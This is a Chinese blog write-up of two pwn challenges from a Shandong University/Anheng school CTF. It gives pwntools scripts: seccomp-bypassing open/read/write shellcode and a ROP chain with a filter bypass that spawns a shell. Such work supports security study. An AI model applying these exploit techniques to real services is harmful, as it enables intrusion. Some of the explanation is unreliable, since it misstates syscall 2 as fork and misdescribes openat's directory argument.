首页 > 其他分享 >山东大学&安恒校赛

山东大学&安恒校赛

时间:2023-09-16 21:23:34浏览次数:30  
标签:文件 调用 函数 安恒 描述符 seccomp 校赛 山东大学 目录

1.babyshell

image.png

image.png

这段代码是一个函数seccom,它使用seccomp机制来限制进程的系统调用权限。seccomp是一种Linux内核的安全模块,可以用于过滤或限制进程可以执行的系统调用。

具体来说,这段代码中的函数执行了以下操作:

  1. 定义了一个局部变量v1,并将seccomp_init函数的返回值赋给v1seccomp_init用于初始化seccomp模块,并返回一个句柄(handle)用于后续的操作。

  2. 使用seccomp_rule_add函数多次调用,向v1指定的seccomp句柄添加规则。每次调用都会添加一条规则,用于限制特定的系统调用。规则的参数包括:

    • 第一个参数是v1,即seccomp句柄。
    • 第二个参数是0LL,表示规则适用于所有进程。
    • 第三个参数是特定的系统调用号,如2LL表示fork系统调用。
    • 第四个参数是附加的标志参数,这里都是0LL,表示没有额外的标志。

    这些规则限制了进程可以执行的系统调用,包括fork(系统调用号2)、execve(系统调用号59)、setuid(系统调用号122)、setgid(系统调用号123)、setgroups(系统调用号124)等。

  3. 最后,使用seccomp_load函数加载v1指定的seccomp规则集。

总体来说,这段代码通过seccomp机制限制了进程可以执行的系统调用,增强了进程的安全性。限制系统调用能够有效地减小进程的攻击面,降低潜在的风险。

exp如下:

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r = remote("tcp.cloud.dasctf.com", 29565)
shellcode=''
shellcode += shellcraft.openat(-1,'/flag')
shellcode += shellcraft.read(3,'rsp',0x40)
shellcode += shellcraft.write(1,'rsp',0x40) #从rsp开始读取0x40个字节
r.sendline(asm(shellcode))
r.interactive()

read和write的第一个参数是文件描述符

文件描述符是一个非负整数,用于标识操作系统中打开的文件或输入/输出设备。在大多数操作系统中,包括Linux和Unix,文件描述符是对文件或设备的引用或索引。

在Unix-like操作系统中,有三个标准的文件描述符:

  • 文件描述符0(通常称为stdin)表示标准输入,用于接收程序的输入。
  • 文件描述符1(通常称为stdout)表示标准输出,用于输出程序的结果。
  • 文件描述符2(通常称为stderr)表示标准错误输出,用于输出程序的错误消息。

除了这些标准文件描述符,程序可以通过打开文件或设备来获取其他文件描述符。每个打开的文件都会被操作系统分配一个唯一的文件描述符。

在使用文件相关的系统调用或库函数时,文件描述符用于标识要读取或写入的文件。通过操作文件描述符,程序可以对文件进行读取、写入、关闭等操作。

在上述代码中,文件描述符3用于表示通过openat函数打开的文件。通过将文件描述符传递给readwrite函数,可以对该文件进行读取和写入操作。

对于openat函数,第一个参数表示要打开文件的目录文件描述符。它指定了相对于该目录的路径名。

openat函数是一种相对于指定目录打开文件的变体。相对于传统的open函数,它允许你使用目录文件描述符和相对路径名来打开文件,而不是使用当前工作目录和绝对路径。

具体来说,openat函数的第一个参数可以是以下几种情况之一:

  • 使用文件描述符(整数值):这是最常见的情况,你可以使用先前打开的目录文件描述符作为第一个参数,来指定要打开文件的目录。
  • 使用特殊的宏常量:
    • AT_FDCWD:表示当前工作目录的文件描述符。
    • AT_EMPTY_PATH:表示在不指定文件名的情况下,只打开目录本身。

在上述代码中,openat(-1, '/flag')使用了文件描述符-1作为第一个参数,表示在当前工作目录中打开名为"/flag"的文件。请注意,这里的-1是一个特殊值,它表示使用当前工作目录作为目录文件描述符。

总之,openat函数的第一个参数用于指定要打开文件的目录文件描述符,可以是一个具体的文件描述符、特殊的宏常量或相应的整数值。

当使用汇编语言编写shellcode时,rsp寄存器通常用于指向栈顶。在这种情况下,使用rsp作为缓冲区地址可以方便地在栈上存储或读取数据。

image.png

2.mercedes

image.png

main函数如下:

image.png

check函数如下:

image.png

可以发现,禁用了cat bin / sh 等字符

本题的关键是system($0)相当于system(/bin/sh)

又由于check函数return了close(1),意思是关闭了标准输出

可以通过执行exec 1>&0将标准输入重定向到标准输出

后门函数如下:

image.png

由于为64bit的程序,可以构造ROP链

exp如下:

from pwn import *

r = remote("tcp.cloud.dasctf.com", 28849)
r.sendline(b"$0")
pop_rdi = 0x400983
offset = 0x20+8
sys = 0x0400717
payload = b'a'*offset+p64(pop_rdi)+p64(0x601090)+p64(sys)
r.sendline(payload)
r.interactive()

image.png

即可得到flag

标签:文件,调用,函数,安恒,描述符,seccomp,校赛,山东大学,目录
From: https://www.cnblogs.com/Smera1d0/p/17707331.html

相关文章

  • 牛客多校赛第9场G Game
    黑板上有一些数字,Alice和Bob轮流操作,每次操作可以选择黑板上的两个数(两个数可以相同),然后在黑板上写下这两个数的异或。谁先写出k谁赢。首先重复的数字是没有用的,进而可以推出除整局游戏的第一步之外,都可以选择保持当前的局面不变.比如如果一个玩家面对的是一个必输的局面,他就......
  • 杭电多校赛第9场1002 Shortest path
    给定一个数字n,每次可以选择一项。令n=n-1令n=n/2,ifn%2==0令n=n/3,ifn%3==0求最少需要多少步可以让其变成1.减1操作可以看作是为了除法做准备,连续超过两次减1再除2是不优的,连续超过三次减1再除2也是不优的。可以根据下一步除2还是除3来分出两个分......
  • 牛客多校赛第9场D Error Permutaition
    给定一个长度为n的排列,计算满足条件的子区间的个数。对于子区间\([l,r]\)要求任意区间第k小,不在区间的第k个位置上。\(n<=5000\)从每个值入手,设这个值为先,寻找对于x来讲是不合法的区间,也就是x在这个区间中是第k小,并且在区间的第k个位置上。1.如果固定区间左端点l,那么右端......
  • 山东大学考研机试--AcWing 3717. 整数序列
    题目描述很多整数可以由一连串的整数序列(至少两个数)相加而成,比如25=3+4+5+6+7=12+13。输入一个整数N,输出N的全部整数序列,如果没有则输出NONE。输入格式一个整数N。输出格式每行输出一个满足条件的整数序列。序列内部元素从小到大排序。优先输出首项更小的序列。数据......
  • 武汉理工大学第四届ACM校赛 部分题解
    比赛地址A.ST和TS回文问题题意:给出一个字符串s,进行q次操作,操作如下:1x:给字符串的末尾加上一个字符x2k:查询是否存在长度为k的字符串t,满足s+t==t+sSolution字符串哈希当k<n时,需检查s长度为k的前后缀是否相同,并且检查s长度为n-k的前后缀是否都是回文当k==n时,一定有解当k<......
  • 数学建模校赛---基于餐厅消费数据的隐形资助研究
    一、校赛初知1.1校赛题目近年来,随着精准资助的开展,如何准确判定高校家庭经济困难学生、切实完善精准资助手段,对高校资助工作具有重要意义。隐性资助是通过大数据挖掘的形式,找准家庭经济困难学生的行为或经济状况特征,隐形认定(识别)出困难学生,并通过隐形实施的方式(不评比,不公示)给予适......
  • 2023校赛补题
    端水大师#include<bits/stdc++.h>usingnamespacestd;#definelllonglongintread(){intx=0,o=1;charch=getchar();while(ch!='-'&&(ch<'0'||ch>'9'))ch=getchar();if(ch=='-')o=-1,ch=get......
  • 5.12校赛记录
    题意给定\(n\)个取值为实数的变量\(x_1,x_2,\dots,x_n\),其中\(x_i\)在\([l_i,r_i)\)之间均匀随机。求\(\lfloorx_1+x_2+\dots+x_n\rfloor^k\)的期望取值。对\(998244353\)取模。\(1\len\le10^3,1\lek\le20,0\lel_i<r_i<998244353\)。题解实数十分麻烦。这题如......
  • 2023郑州轻工业大学校赛邀请赛wh
    在这里,很感谢程立老师的帮助和选择我,我以后会跟着程老师,既然热爱,就要走下去!2022年4月2号,我代表河南工业大学与郑州17所高校在郑州轻工业大学举办的“卓见杯”郑州轻工业大学第十五届程序设计大赛暨河南省高校邀请赛--正式赛,整个比赛进行5小时,由三个队友共同解决12道题。早上9点......
  • 2023 xjtupc 西交校赛
    A签到,\(O(1)\)。C++Code#include"bits/stdc++.h"usingnamespacestd;usingi64=longlong;intmain(){ios::sync_with_stdio(false);cin.tie(nullptr);intn;cin>>n;cout<<(n<=6?"water"......